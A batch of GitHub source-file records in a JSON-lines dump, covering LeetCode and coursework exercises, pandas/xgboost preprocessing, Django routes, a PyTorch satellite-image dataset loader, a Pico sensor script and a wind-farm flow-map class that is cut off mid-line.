lifanhong\n\"\"\"\n\nclass Solution(object):\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n find_num = {} \n for i, num in enumerate(nums):\n if num not in find_num:\n find_num[num] = [i]\n else:\n find_num[num].append(i)\n for i, num in enumerate(nums):\n if target == 2 * num and len(find_num[num]) == 2:\n return find_num[num]\n elif target - num in find_num and find_num[target - num][0] != i:\n return [i, find_num[target - num][0]]\n else:\n continue","repo_name":"vivi3nli/LeetCodeDaily","sub_path":"1_Two_Sum_20180616.py","file_name":"1_Two_Sum_20180616.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"35509619851","text":"import numpy as np\nimport pandas as pd\n\nfrom sklearn.model_selection import RandomizedSearchCV\n\n\ndef print_df_metadata(df, id_column=None):\n if not id_column:\n id_column = 'new_id_col'\n df = df.copy()\n df['new_id_col'] = range(1, len(df) + 1)\n\n df.info()\n for col_name in df.columns:\n if col_name in (id_column):\n continue\n\n n_values = df[col_name].nunique()\n print(\"Column: {} | Type = {} | {} Unique Values \".format(col_name, df[col_name].dtype.name, n_values))\n if is_numeric_column(df, col_name):\n n_nan = np.count_nonzero(np.isnan(df[col_name]))\n n_neg = np.count_nonzero(df[col_name] < 0)\n print('\\t Negative Count = {} | NaN count = {}'.format(n_neg, n_nan))\n else:\n print(\"\\t\" + str(df.groupby(col_name)[id_column].nunique()).replace(\"\\n\", \"\\n\\t\"))\n # df[col_name].value_counts()\n\n\ndef count_value_pairs_between_columns(df, col1, col2, cond_on_1=None, cond_on_2=None):\n df2 = df[[col1, col2]]\n\n if cond_on_1:\n df2 = df2[cond_on_1(df[col1])]\n if cond_on_2:\n df2 = df2[cond_on_2(df2[col2])]\n\n col1, col2 = df[col1], df[col2]\n df2.insert(0, \"new_col\", list(zip(col1, col2)))\n return df2[\"new_col\"].value_counts().sort_index()\n\n\ndef add_column_by_f_on_columns(df, new_col_name, f, *col_names):\n '''\n Add column by applying f on the columns given by their names\n :param df:\n :param new_col_name:\n :param f:\n :param col_names:\n :return:\n '''\n cols = []\n for name in col_names:\n cols.append(df[name])\n\n df[new_col_name] = f(*cols)\n\n # df[\"experience\"] = f(np.maximum(df[\"age\"].values - df[\"education.num\"].values))\n\n\ndef extract_target_column(df, target_name):\n # target = (df[\"income\"] == \">50K\") * 1\n # df.drop(\"income\", axis=1, inplace=True)\n target = df[target_name]\n df.drop(target_name, axis=1, inplace=True)\n return target\n\n\ndef normalize_numeric_columns(df):\n for col_name in df.columns:\n if not is_numeric_column(df, col_name):\n col = df[col_name]\n df[col_name] = (col - col.min()) / col.std()\n\n\ndef one_11hot(df, drop_origin_columns=True):\n for col_name in df.columns:\n if not is_numeric_column(df, col_name):\n df[col_name] = pd.Categorical(df[col_name])\n dfDummies = pd.get_dummies(df[col_name], prefix=col_name).astype(int, False)\n df = pd.concat([dfDummies, df], axis=1)\n if drop_origin_columns:\n df.drop(col_name, axis=1, inplace=True)\n\n return df\n\n\ndef get_train_test_random_mask(N, part=.2):\n if isinstance(N, pd.DataFrame):\n N = N.shape[0]\n\n np.random.seed(999)\n df = pd.DataFrame(np.random.randn(N, 2))\n return np.random.rand(len(df)) < part\n\n\ndef is_numeric_column(df, col: [int, str, pd.DataFrame]):\n if isinstance(col, str):\n col = df[col]\n elif isinstance(col, int):\n col = df.iloc[:, col]\n\n return np.issubdtype(col.dtype, np.number)\n\n\ndef get_train_test_data(df, target):\n from sklearn.model_selection import train_test_split\n\n X = df.values\n y = target.values\n\n X, X_test, y, y_test = train_test_split(X, y, test_size=.2, random_state=42)\n return X, X_test, y, y_test\n\n\ndef drop_columns(df, *col_names):\n for name in col_names:\n df.drop(name, axis=1, inplace=True)\n\n\ndef get_train_test_data_split_on_col_value(df, target, col_name, col_value):\n yes_indices = df[col_name] == col_value\n no_indices = df[col_name] != col_value\n\n set_1 = (df[yes_indices], target[yes_indices])\n set_2 = (df[no_indices], target[no_indices])\n\n return set_1, set_2\n\n\ndef train_xgb_classifier_with_parameters(X, X_test, y, y_test, classifier_parameters=None, fit_parameters=None):\n from xgboost.sklearn import XGBClassifier\n\n if not classifier_parameters:\n classifier_parameters = {\"max_depth\": 5,\n \"min_child_weight\": 1,\n \"learning_rate\": 0.1,\n \"n_estimators\": 500,\n \"n_jobs\": -1}\n\n if not fit_parameters:\n fit_parameters = {}\n\n clf = XGBClassifier(**classifier_parameters)\n clf.fit(X, y, **fit_parameters)\n return clf.predict(X_test)\n\n\ndef recursive_xgb_param_search(reg, X, y, recursion_iter=2):\n param_grid = {\n 'max_depth': np.array(list(range(1, 5))),\n 'learning_rate': 10 ** (np.array(range(-10, 0))),\n 'subsample': np.array([0.4, 0.6, 0.8, 1.0]),\n 'colsample_bytree': np.array([0.4, 0.6, 0.8, 1.]),\n 'colsample_bylevel': np.array([0.4, 0.6, 0.8, 1.]),\n 'min_child_weight': .01 * np.array(list(range(1, 100, 20)), dtype=float),\n 'gamma': np.array(list(range(0, 11, 2)), dtype=float),\n 'reg_lambda': [0, .5, 1],\n 'n_estimators': 5 * 10 ** (np.array(range(1, 4)))\n }\n\n param_grid_recursion_op = {\n 'max_depth': lambda best: int(np.maximum(1, [best - 1, best, best + 1])),\n 'learning_rate': lambda best: best * np.array([.2, .5, 1., 1.5, 2., 4.]),\n 'subsample': lambda best: best * np.array([0.1, 0.5, 1.0, 1.5, 2.]),\n 'colsample_bytree': lambda best: np.unique(np.minimum(1., best * np.array([0.1, 0.5, 1.0, 1.5, 1.]))),\n 'colsample_bylevel': lambda best: np.unique(np.minimum(1., best * np.array([0.1, 0.5, 1.0, 1.5, 1.]))),\n 'min_child_weight': lambda best: best * np.array([0.1, 0.5, 1.0, 1.5, 2.]),\n 'gamma': lambda best: best * np.array([0.1, 0.5, 1.0, 1.5, 2.]),\n 'reg_lambda': lambda best: best * np.array([.2, .5, 1., 1.5, 2., 4.]),\n 'n_estimators': lambda best: int(np.maximum(1, (best * np.array([0.1, 0.5, 1.0, 2, 3.])).astype(np.int64)))\n }\n\n for i in range(recursion_iter):\n rs_regr = RandomizedSearchCV(reg, param_grid, n_iter=100, refit=True, random_state=42, scoring=\"accuracy\")\n rs_regr.fit(X, y)\n\n param_grid = rs_regr.best_params_.copy()\n for par in param_grid_recursion_op:\n param_grid[par] = param_grid_recursion_op[par](param_grid[par])\n\n return rs_regr.best_params_\n\n\ndef get_stacked_combiner_classifier(X, y, combiner, *stacked_classifiers):\n def stack_transform(X):\n results = pd.DataFrame()\n for i, clf in enumerate(stacked_classifiers):\n result = clf.predict(X)\n results.insert(0, \"classifier_\" + str(i + 1), result)\n\n return np.concatenate([X, results.values], axis=1)\n\n combiner.stack_transform = stack_transform\n combiner.stack_transform_and_fit = lambda X, y: combiner.fit(combiner.stack_transform(X), y)\n combiner.stack_transform_and_predict = lambda X: combiner.predict(combiner.stack_transform(X))\n\n combiner.stack_transform_and_fit(X, y)\n\n return combiner\n\n\ndef bin_data_in_column(df, col_name, conditions_dict, new_col_name, remove_col=True, default_value=\"default\"):\n df.insert(df.columns.get_loc(col_name), new_col_name, default_value)\n for data_val in conditions_dict:\n range = conditions_dict[data_val]\n df[new_col_name][(df[col_name] >= range[0]) & (df[col_name] < range[1])] = data_val\n\n df[new_col_name] = df[new_col_name].astype(np.str)\n\n if remove_col:\n df.drop(col_name, axis=1, inplace=True)\n\n\ndef get_ratios_of_classes(df, column_name, target_col_name):\n v = df.groupby(column_name)[target_col_name].value_counts().unstack()\n v.fillna(0, inplace=True)\n v.insert(0, \"tot\", v.iloc[:, 0] + v.iloc[:, 1])\n return v.iloc[:, 2] / v.iloc[:, 0]\n\n\nclass OrderByDisributionTransformer:\n \"\"\"\n Transforms values in columns to values ordered by their relative probability.\n \"\"\"\n\n def __init__(self, target_col, supported_column_values, temp_col_name=\"temp_col\", only_non_numeric_columns=True):\n self.target_col = target_col.copy()\n self.temp_col_name = temp_col_name\n self.only_non_numeric_columns = only_non_numeric_columns\n self._dictionaries = None\n self.supported_column_values = supported_column_values\n\n def fit(self, df):\n self._dictionaries = {}\n df = df.copy()\n df.insert(df.shape[1], self.temp_col_name, self.target_col)\n for col_name in df.columns:\n if col_name == self.temp_col_name or (self.only_non_numeric_columns and is_numeric_column(df, col_name)):\n continue\n ratios = get_ratios_of_classes(df, col_name, self.temp_col_name)\n if col_name in self.supported_column_values:\n for val in self.supported_column_values[col_name]:\n if val not in ratios.index:\n val = pd.Series([0], [val])\n ratios = ratios.append(val)\n ordered_ratios = ratios.sort_values().index.values\n dict = {}\n for i, val in enumerate(ordered_ratios):\n dict[val] = i\n self._dictionaries[col_name] = dict\n\n def transform(self, df):\n if not self._dictionaries:\n raise Exception(\"You must fit before transforming.\")\n\n df_new = df.copy()\n for col in self._dictionaries:\n df_new[col] = df_new[col].apply(self._dictionaries[col].__getitem__)\n return df_new\n\n def fit_and_transform(self, df):\n self.fit(df)\n return self.transform(df)\n\n\ndef get_all_column_values(df, only_non_numeric_columns=True):\n dict = {}\n for col_name in df.columns:\n if only_non_numeric_columns and is_numeric_column(df, col_name):\n continue\n dict[col_name] = sorted(df[col_name].unique())\n\n return dict\n\n\nclass PolynomializationTransformer:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, deg=2, at_position=0):\n self.at_position = at_position\n self.degree = deg\n self._polynomial_parts = None\n\n def fit(self, df):\n self._polynomial_parts = set()\n for d in range(self.degree):\n poly_parts = self._polynomial_parts.copy()\n for i in range(df.shape[1]):\n if not is_numeric_column(df, i):\n continue\n if len(self._polynomial_parts) == i:\n self._polynomial_parts.add((i,))\n else:\n for poly in poly_parts:\n self._polynomial_parts.add(tuple(sorted(poly + (i,))))\n\n def transform(self, df):\n if not self._polynomial_parts:\n raise Exception(\"You must fit before transforming.\")\n\n df = df.copy()\n\n col_names = df.columns.values\n for p in self._polynomial_parts:\n p = list(p)\n pname = str(p)\n new_col = np.ones((1, df.shape[0]))\n counter = 2\n while len(p):\n counter -= 1\n new_col *= df[col_names[p.pop()]].values\n\n if counter <= 0:\n df.insert(self.at_position, pname, new_col[0])\n\n return df\n\n def fit_and_transform(self, df):\n self.fit(df)\n return self.transform(df)\n\n\nclass DataSplitClassiffier:\n\n def __init__(self, class_restricted_to, class_other_than, col_index, split_on_value):\n self.class_restricted_to = class_restricted_to\n self.class_other_than = class_other_than\n self.col_index = col_index\n self.split_on_value = split_on_value\n\n def fit(self, X, y, fit_params1={}, fit_params2={}):\n\n X1, X2, y1, y2 = DataSplitClassiffier.split_on_column_value([X, y], self.col_index, self.split_on_value)\n\n self.class_restricted_to.fit(X1.values, y1.values, **fit_params1)\n self.class_other_than.fit(X2.values, y2.values, **fit_params2)\n\n @staticmethod\n def split_on_column_value(data, col_index, split_on_value):\n ret = []\n indices = not_indices = None\n for X in data:\n dfX = pd.DataFrame(X)\n if indices is None:\n indices = dfX.iloc[:, col_index] == split_on_value\n not_indices = ~indices\n ret.append(dfX[indices])\n ret.append(dfX[not_indices])\n\n return tuple(ret)\n\n def predict(self, X):\n dfX = pd.DataFrame(X)\n dfX.reset_index()\n\n indices = dfX[self.col_index] == self.split_on_value\n X1 = dfX[indices].values\n\n indices = ~indices\n X2 = dfX[indices].values\n\n y1 = self.class_restricted_to.predict(X1)\n y2 = self.class_other_than.predict(X2)\n\n y = indices.copy()\n y[indices] = y2\n y[~indices] = y1\n\n return y\n\n\nclass OneHotTransformer:\n\n def __init__(self, supported_column_values, drop_original_columns=True):\n self.drop_original_columns = drop_original_columns\n self.supported_column_values = supported_column_values\n self._dictionaries = None\n\n def fit(self, df):\n self._dictionaries = self.supported_column_values\n for col_name in df.columns:\n if not is_numeric_column(df, col_name):\n old = np.empty(0)\n if self._dictionaries[col_name]:\n old = self._dictionaries[col_name]\n self._dictionaries[col_name] = sorted(np.union1d(df[col_name].unique(), old))\n\n def transform(self, df):\n if not self._dictionaries:\n raise Exception(\"You must fit before transforming.\")\n\n df = df.copy()\n for col_name in df.columns:\n if col_name not in self._dictionaries:\n continue\n pos = df.columns.get_loc(col_name)\n dfDummies = pd.get_dummies(df[col_name], prefix=col_name).astype(int, False)\n dfDummies = dfDummies.reindex(sorted(dfDummies.columns), axis=1)\n # check column order and that nothing is missing\n i = 0\n for val in self._dictionaries[col_name]:\n col_formatted_name = \"{}_{}\".format(col_name, val)\n if dfDummies.columns[i] != col_formatted_name:\n dfDummies.insert(0, col_formatted_name, np.zeros((dfDummies.shape[0], 1)))\n i += 1\n\n for i, c_name in enumerate(dfDummies.columns):\n df.insert(pos + i, c_name, dfDummies[c_name])\n\n if self.drop_original_columns:\n df.drop(col_name, axis=1, inplace=True)\n\n return df\n\n def fit_and_transform(self, df):\n self.fit(df)\n return self.transform(df)","repo_name":"erezinman/FlightDelay","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":14376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22255424947","text":"from django.conf.urls import url\nfrom django.urls import path\nfrom . import views\n\napp_name = \"tukuyomi\"\nurlpatterns = [\n url(r'^$', views.loginView.login, name='login'),\n url(r'^menu/$', views.menuView.menu, name='menu'),\n url(r'^assert_list/$', views.assertView.assert_list, name='assert_list'),\n url(r'^assert_input/$', views.assertView.assert_input, name='assert_input'),\n path('assert_input_modify//', views.assertView.assert_input_modify, name='assert_input_modify'),\n url(r'^buyer_list/$', views.buyerView.buyer_list, name='buyer_list'),\n url(r'^buyer_input$', views.buyerView.buyer_input, name='buyer_input'),\n path('buyer_input_modify//', views.buyerView.buyer_input_modify, name='buyer_input_modify'),\n url(r'^riyou_info_init/$', views.riyouView.riyou_info_init, name='riyou_info_init'),\n path('riyou_info//', views.riyouView.riyou_info, name='riyou_info'),\n path('shiharai_info///', views.shiharaiView.shiharai_info, name='shiharai_info'),\n # url(r'^shiharaih_input/$', views.shiharaihView.shiharaih_input, name='shiharaih_input'),\n path('shiharaih_input/', views.shiharaihView.shiharaih_input, name='shiharaih_input'),\n path('shiharaih_input_modify//', views.shiharaihView.shiharaih_input_modify, name='shiharaih_input_modify'),\n path('shiharaim_input/////', views.shiharaimView.shiharaim_input, name='shiharaim_input'),\n # path('shiharaim_insert//////', views.shiharaimView.shiharaim_insert, name='shiharaim_insert'),\n # path('shiharaim_delete//////', views.shiharaimView.shiharaim_delete, name='shiharaim_delete'),\n url(r'^henkin_header/$', views.henkinView.henkin_header, name='henkin_header'),\n url(r'^henkin_list/$', views.henkinView.henkin_list, name='henkin_list'),\n # url(r'^henkin_input/$', views.henkinView.henkin_input, name='henkin_input'),\n]\n","repo_name":"Ryuk-Togo/amenotorifune","sub_path":"tukuyomi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"170153636","text":"from rest_framework import generics, permissions\nfrom requireditem.models import RequiredItem\nfrom requireditem.serializer import RequiredItemSerializer\n\n\nclass ListRequiredItemView(generics.ListAPIView):\n model = RequiredItem\n serializer_class = RequiredItemSerializer\n permission_classes = (permissions.AllowAny,)\n\nclass RequiredItemDetailView(generics.RetrieveAPIView):\n model = RequiredItem\n serializer_class = RequiredItemSerializer\n permission_classes = (permissions.AllowAny,)","repo_name":"challa123/Ashrams","sub_path":"requireditem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"8950510095","text":"\"\"\"\nПредставлен список чисел. Определить элементы списка, не имеющие повторений.\nСформировать из этих элементов список с сохранением порядка их следования в исходном\nсписке, например:\nsrc = [2, 2, 2, 7, 23, 1, 44, 44, 3, 2, 10, 7, 4, 11]\nresult = [23, 1, 3, 10, 4, 11]\n\"\"\"\n\nsrc = [2, 2, 2, 7, 23, 1, 44, 44, 3, 10, 7, 4, 11]\n\n# Using dict()\n# tmp = {}\n# for num in src:\n# if tmp.get(num):\n# tmp[num] += 1\n# else:\n# tmp[num] = 1\n#\n# result = [key for key in tmp if tmp[key] == 1]\n# print(result)\n\n\n# Using set()\nduplicate_el = set()\ntmp = set()\nfor num in src:\n duplicate_el.add(num) if num in tmp else tmp.add(num)\n\nresult = [el for el in src if el not in duplicate_el]\nprint(result)\n","repo_name":"Starunov/lessons-on-python","sub_path":"lesson_5/Starunov_Sergei_dz_5.py","file_name":"Starunov_Sergei_dz_5.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"73073766126","text":"import numpy as np\nfrom scipy.linalg import expm\nimport copy\n\nlambd, mu = 0.02, 2\n\n\ndef f_probability(x):\n return 1/(1 + np.exp(-x))\n\n\ndef removing_probability(A, M, action, theta):\n P, s, vh = np.linalg.svd(A)\n return f_probability(P[action].dot(M).dot(theta))\n\n\ndef newAM(A, M, remove=True):\n if remove:\n P, s, _ = np.linalg.svd(A)\n\n\ndef reward(A, M, action, theta, remove=True):\n n = np.shape(A)[0]\n P, s, _ = np.linalg.svd(A)\n if not remove:\n return sum(f_probability(P[i].dot(np.linalg.expm(lambd * np.diag(s) - mu * np.identity(n))) \\\n .dot(M).dot(theta)) - f_probability(P[i].dot(M).dot(theta)) for i in range(n))\n else:\n A_tilde = copy.copy(A)\n A_tilde[action] = 0\n A_tilde[:, action] = 0\n P_tilde, s_tilde, _ = np.linalg.svd(A_tilde)\n return sum(f_probability(P_tilde[i].dot(np.linalg.expm(lambd * np.diag(s_tilde) - mu * np.identity(n))) \\\n .dot(P_tilde).dot(P).dot(M).dot(theta)) - f_probability(P[i].dot(M).dot(theta)) \\\n for i in range(n))\n\n\ndef one_step(A, M, action, theta):\n n = np.shape(A)[0]\n P, s, _ = np.linalg.svd(A)\n p = f_probability(P[action].dot(M).dot(theta))\n remove = np.random.binomial(1, p)\n if not remove:\n A_next = A\n M_next = expm(lambd * np.diag(s) - mu * np.identity(n)).dot(M)\n r = -sum(f_probability(P[i].dot(M_next).dot(theta)) - f_probability(P[i].dot(M).dot(theta)) for i in range(n))\n else:\n A_next = copy.copy(A)\n A_next[action] = 0\n A_next[:, action] = 0\n P_tilde, s_tilde, _ = np.linalg.svd(A_next)\n M_next = expm(lambd * np.diag(s_tilde) - mu * np.identity(n)).dot(P_tilde).dot(P).dot(M)\n r = sum(f_probability(P[i].dot(M_next).dot(theta)) - f_probability(P[i].dot(M).dot(theta)) for i in range(n))\n return A_next, M_next, r, remove\n\n\nn = 50\nn_simulation = 100\nT = 50\nA = np.ones((n, n))\nfor i in range(n):\n A[i, i] = 0\n_, _, M = np.linalg.svd(A)\nfeasible_set = [i for i in range(n)]\ntheta = np.ones((50, 1))\ntotal_reward = [0] * len(feasible_set)\n\nfor i, action in enumerate(feasible_set):\n for _ in range(n_simulation):\n A_next, M_next, r, remove = one_step(A, M, action, theta)\n total_reward[i] = +r\n nodes = copy.copy(feasible_set)\n if remove:\n nodes.remove(action)\n for _ in range(T - 1):\n action = np.random.choice(nodes)\n A_next, M_next, r, remove = one_step(A_next, M_next, action, theta)\n total_reward[i] += r\n if remove:\n nodes.remove(action)\n\nprint(feasible_set[np.argmax(total_reward)])","repo_name":"haolu1994/covid-network-rl","sub_path":"uniformsearch.py","file_name":"uniformsearch.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71286835567","text":"from __future__ import absolute_import\n\nimport os\nimport io\nimport sys\nimport cv2\nimport torch\nimport numpy as np\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.utils.data.sampler import Sampler\nimport torchvision.transforms as transforms\nfrom utils.transforms import ImageNetPolicy, RandomDoubleRotate, RandomDoubleFlip\nimport pdb\nfrom PIL import Image, ImageFilter, ImageOps\nimport pickle\nimport time\nimport random\nimport tqdm\nimport itertools\nimport h5py\nfrom .base_dataset import BaseDataset\nfrom datasets import data_augmentor, data_normalizer, data_reader\n\nclass INRIA2SN2Dataset(Dataset):\n\n def __init__(self, loader_conf, phase='train'):\n\n super(INRIA2SN2Dataset, self).__init__()\n\n self.root = loader_conf['dataset_dir']\n self.img_H = loader_conf['img_H']\n self.img_W = loader_conf['img_W']\n self.phase = loader_conf['phase'] if 'phase' in loader_conf else phase\n self.use_resize = loader_conf['use_resize'] if 'use_resize' in loader_conf else True\n self.num_used_data = loader_conf['num_used_data'] if 'num_used_data' in loader_conf else 1e8\n self.aug_conf = loader_conf['aug_conf']\n self.use_hist_equ = loader_conf['use_hist_equ'] if 'use_hist_equ' in loader_conf else False\n self.use_hist_mat = loader_conf['use_hist_mat'] if 'use_hist_mat' in loader_conf else False\n self.hist_mat_prob = loader_conf['hist_mat_prob'] if 'hist_mat_prob' in loader_conf else 0\n self.use_rgb = loader_conf['use_rgb'] if 'use_rgb' in loader_conf else False\n self.norm_type = loader_conf['norm_type'] if 'norm_type' in loader_conf else None\n self.A_sample_type = loader_conf['A_sample_type']\n self.B_sample_type = loader_conf['B_sample_type']\n self.random_type = loader_conf['random_type']\n self.test_reader_conf = loader_conf['test_reader_conf'] if 'test_reader_conf' in loader_conf else None\n self.train_reader_conf = loader_conf['train_reader_conf'] if 'train_reader_conf' in loader_conf else None\n self.dom_map = loader_conf['dom_map'] if 'dom_map' in loader_conf else None\n\n self.normalizer = data_normalizer.DataNormalizer(loader_conf)\n self.augmentor = data_augmentor.DataAugmentor(self.aug_conf)\n self.train_reader = data_reader.DataReader(self.train_reader_conf) if self.train_reader_conf is not None else None\n self.test_reader = data_reader.DataReader(self.test_reader_conf) if self.test_reader_conf is not None else None\n\n if self.use_hist_equ:\n iter_train = self.train_reader.get_iterators() if self.train_reader is not None else {}\n iter_test = self.test_reader.get_iterator() if self.test_reader is not None else {}\n self.normalizer.fit_hist({**iter_train, **iter_test})\n\n transform = []\n transform.append(transforms.ToTensor())\n self.transform = transforms.Compose(transform)\n\n def __len__(self):\n if self.phase == 'train':\n return len(self.train_reader)\n if self.phase == 'test':\n return len(self.test_reader)\n else:\n return len(self.train_reader) + len(self.test_reader)\n\n def get_sample(self, sample_type, idx=None):\n\n if sample_type == 'random':\n flag = random.random() < 0.5\n elif sample_type == 'data1':\n flag = 0\n elif sample_type == 'data2':\n flag = 1\n elif sample_type == 'data12':\n if idx < len(self.train_reader):\n flag = 0\n else:\n flag = 1\n idx -= len(self.train_reader)\n else:\n raise ValueError\n\n reader = self.train_reader if flag == 0 else self.test_reader\n\n img, gt, dom = reader.sample(idx)\n\n if flag == 0:\n img = img[:, :, [2,1,0]]\n\n return img, gt, dom\n\n def __getitem__(self, idx):\n\n if self.phase == 'train' or self.phase == 'gen':\n img_A, gt_A, dom_A = self.get_sample(self.A_sample_type, idx)\n img_B, gt_B, dom_B = self.get_sample(self.B_sample_type, idx)\n else:\n img_A, gt_A, dom_A = self.get_sample(self.A_sample_type, idx)\n img_B, gt_B, dom_B = self.get_sample(self.B_sample_type, idx)\n\n gt_A = (gt_A >= 128).astype(np.uint8)\n gt_B = (gt_B >= 128).astype(np.uint8)\n\n img_A = self.normalizer.normalize(img_A)\n img_B = self.normalizer.normalize(img_B)\n\n if self.use_hist_equ:\n img_A = self.normalizer.hist_equalize(img_A, dom_A)\n img_B = self.normalizer.hist_equalize(img_B, dom_B)\n\n elif self.use_hist_mat:\n if random.random() < self.hist_mat_prob:\n img_A = self.normalizer.hist_match(img_A, img_B)\n\n img_A1, gt_A1 = self.augmentor.data_aug(img_A, gt_A)\n img_A2, gt_A2 = self.augmentor.data_aug(img_A, gt_A)\n img_B1, gt_B1 = self.augmentor.data_aug(img_B, gt_B)\n img_A1, img_A2 = self.augmentor.color_shift(img_A1, img_A2)\n img_B1 = self.augmentor.color_shift(img_B1)\n\n img_A1 = self.transform(img_A1.astype(np.float32))\n img_A2 = self.transform(img_A2.astype(np.float32))\n img_B1 = self.transform(img_B1.astype(np.float32))\n\n gt_A1 = torch.tensor(gt_A1).long()\n gt_A2 = torch.tensor(gt_A2).long()\n gt_B1 = torch.tensor(gt_B1).long()\n\n out = {}\n out['img_A1'] = img_A1\n out['img_A2'] = img_A2\n out['img_B1'] = img_B1\n\n out['label_map_A1'] = gt_A1\n out['label_map_A2'] = gt_A2\n out['label_map_B1'] = gt_B1\n\n if self.dom_map is not None:\n out['dom_A'] = self.dom_map[dom_A]\n out['dom_B'] = self.dom_map[dom_B]\n\n return out\n","repo_name":"tanmlh/Self-supervised-Domain-agnostic-Domain-Adaptation-for-Satellite-Images","sub_path":"datasets/inria2sn2_dataset_v2.py","file_name":"inria2sn2_dataset_v2.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"40699754268","text":"from machine import Pin\r\nfrom dht11 import DHT11\r\nimport time\r\n\r\ndef main():\r\n switch = Pin(0, Pin.OUT, pull=None)\r\n read_sensor = True\r\n\r\n while read_sensor:\r\n try:\r\n pin = Pin(20, Pin.OUT, Pin.PULL_DOWN)\r\n switch.on()\r\n time.sleep(1)\r\n sensor = DHT11(pin)\r\n temp = round(sensor.temperature)\r\n humid = round(sensor.humidity)\r\n print(\"Temperature: {0}C {1}F\".format(temp, round((temp*1.8)+32)))\r\n print(\"Humidity: {}%\".format(humid))\r\n except KeyboardInterrupt:\r\n print(\"KeyboardInterrupt\")\r\n read_sensor = False\r\n except Exception as e:\r\n print(\"Exception: {}\".format(e))\r\n finally:\r\n switch.off()\r\n time.sleep(3)\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"gobbyo/clock","sub_path":"python/pico/tests/testhumidsensor.py","file_name":"testhumidsensor.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71083572528","text":"from collections import defaultdict\nimport json\n\ncurrent_day = 23\nfilename = f\"2019-12-{current_day}.json\"\n\nboard = json.load(open(filename, \"r\"))[\"members\"]\n\n# print(board)\n# print(type(board))\n# print(board.keys())\n\nmembers = board.keys()\n\n# for memberid in board.keys():\n # print(memberid, json.dumps(board[memberid], indent=4))\n\ndef has_star(memberid, day, star):\n try:\n val = board[memberid][\"completion_day_level\"][str(day)][str(star)][\"get_star_ts\"]\n return True\n except KeyError:\n return False\n\ncurrentstate = defaultdict(int)\nfor memberid in members:\n for day in range(1, current_day + 1):\n for star in [1, 2]:\n if has_star(memberid, day, star):\n currentstate[(day, star)] += 1\n\nbestscores = defaultdict(int)\nfor memberid in members:\n currentscore = int(board[memberid][\"local_score\"])\n for day in range(1, current_day + 1):\n for star in [1, 2]:\n if not has_star(memberid, day, star):\n currentscore += len(members) - currentstate[(day, star)]\n bestscores[memberid] = currentscore\n\n# print(currentstate)\n\nfor memberid, maxscore in reversed(sorted(bestscores.items(), key=lambda x: x[1])):\n print(f\"{maxscore:5}: {board[memberid]['name'] or '(anonymous user #' + str(memberid) + ')'}\")\n","repo_name":"benjamingeiger/advent-of-code","sub_path":"2019/scores/bestcase.py","file_name":"bestcase.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"29649874393","text":"from py_wake import np\nimport xarray as xr\nfrom numpy import newaxis as na\nfrom scipy.interpolate import InterpolatedUnivariateSpline\nimport matplotlib.pyplot as plt\nfrom py_wake.utils.xarray_utils import ilk2da\n\n\nclass FlowBox(xr.Dataset):\n __slots__ = ('simulationResult', 'windFarmModel')\n\n def __init__(self, simulationResult, X, Y, H, localWind_j, WS_eff_jlk, TI_eff_jlk):\n self.simulationResult = simulationResult\n self.windFarmModel = self.simulationResult.windFarmModel\n lw_j = localWind_j\n wd, ws = lw_j.wd, lw_j.ws\n time = 'time' in simulationResult\n\n if X is None and Y is None and H is None:\n coords = localWind_j.coords\n X = localWind_j.i\n else:\n coords = {'x': X[0, :, 0], 'y': Y[:, 0, 0], 'h': H[0, 0, :]}\n if time:\n coords['time'] = lw_j.coords['time']\n coords.update({k: (dep, v, {'Description': d}) for k, dep, v, d in [\n ('wd', ('wd', 'time')[time], wd, 'Ambient reference wind direction [deg]'),\n ('ws', ('ws', 'time')[time], ws, 'Ambient reference wind speed [m/s]')]})\n\n def get_da(arr_jlk):\n if len(X.shape) == 1:\n return ilk2da(arr_jlk, coords)\n else:\n shape = [X.shape + (len(wd), len(ws)), X.shape + (len(wd), )][time]\n dims = ['y', 'x', 'h'] + [['wd', 'ws'], ['time']][time]\n return xr.DataArray(arr_jlk.reshape(shape), coords, dims)\n JLK = WS_eff_jlk.shape\n xr.Dataset.__init__(self, data_vars={k: get_da(np.broadcast_to(v, JLK)) for k, v in [\n ('WS_eff', WS_eff_jlk), ('TI_eff', TI_eff_jlk),\n ('WD', lw_j.WD_ilk), ('WS', lw_j.WS_ilk), ('TI', lw_j.TI_ilk), ('P', lw_j.P_ilk)]})\n\n\nclass FlowMap(FlowBox):\n __slots__ = ('simulationResult', 'windFarmModel', 'X', 'Y', 'plane', 'WS_eff_xylk', 'TI_eff_xylk')\n\n def __init__(self, simulationResult, X, Y, localWind_j, WS_eff_jlk, TI_eff_jlk, plane):\n self.X = X\n self.Y = Y\n self.plane = plane\n\n if plane[0] == 'XY':\n X = X[:, :, na]\n Y = Y[:, :, na]\n H = np.reshape(localWind_j.h, X.shape)\n elif plane[0] == 'YZ':\n H = Y.T[:, na, :]\n Y = X.T[:, na, :]\n X = np.reshape(localWind_j.x, Y.shape)\n elif plane[0] == 'XZ':\n H = 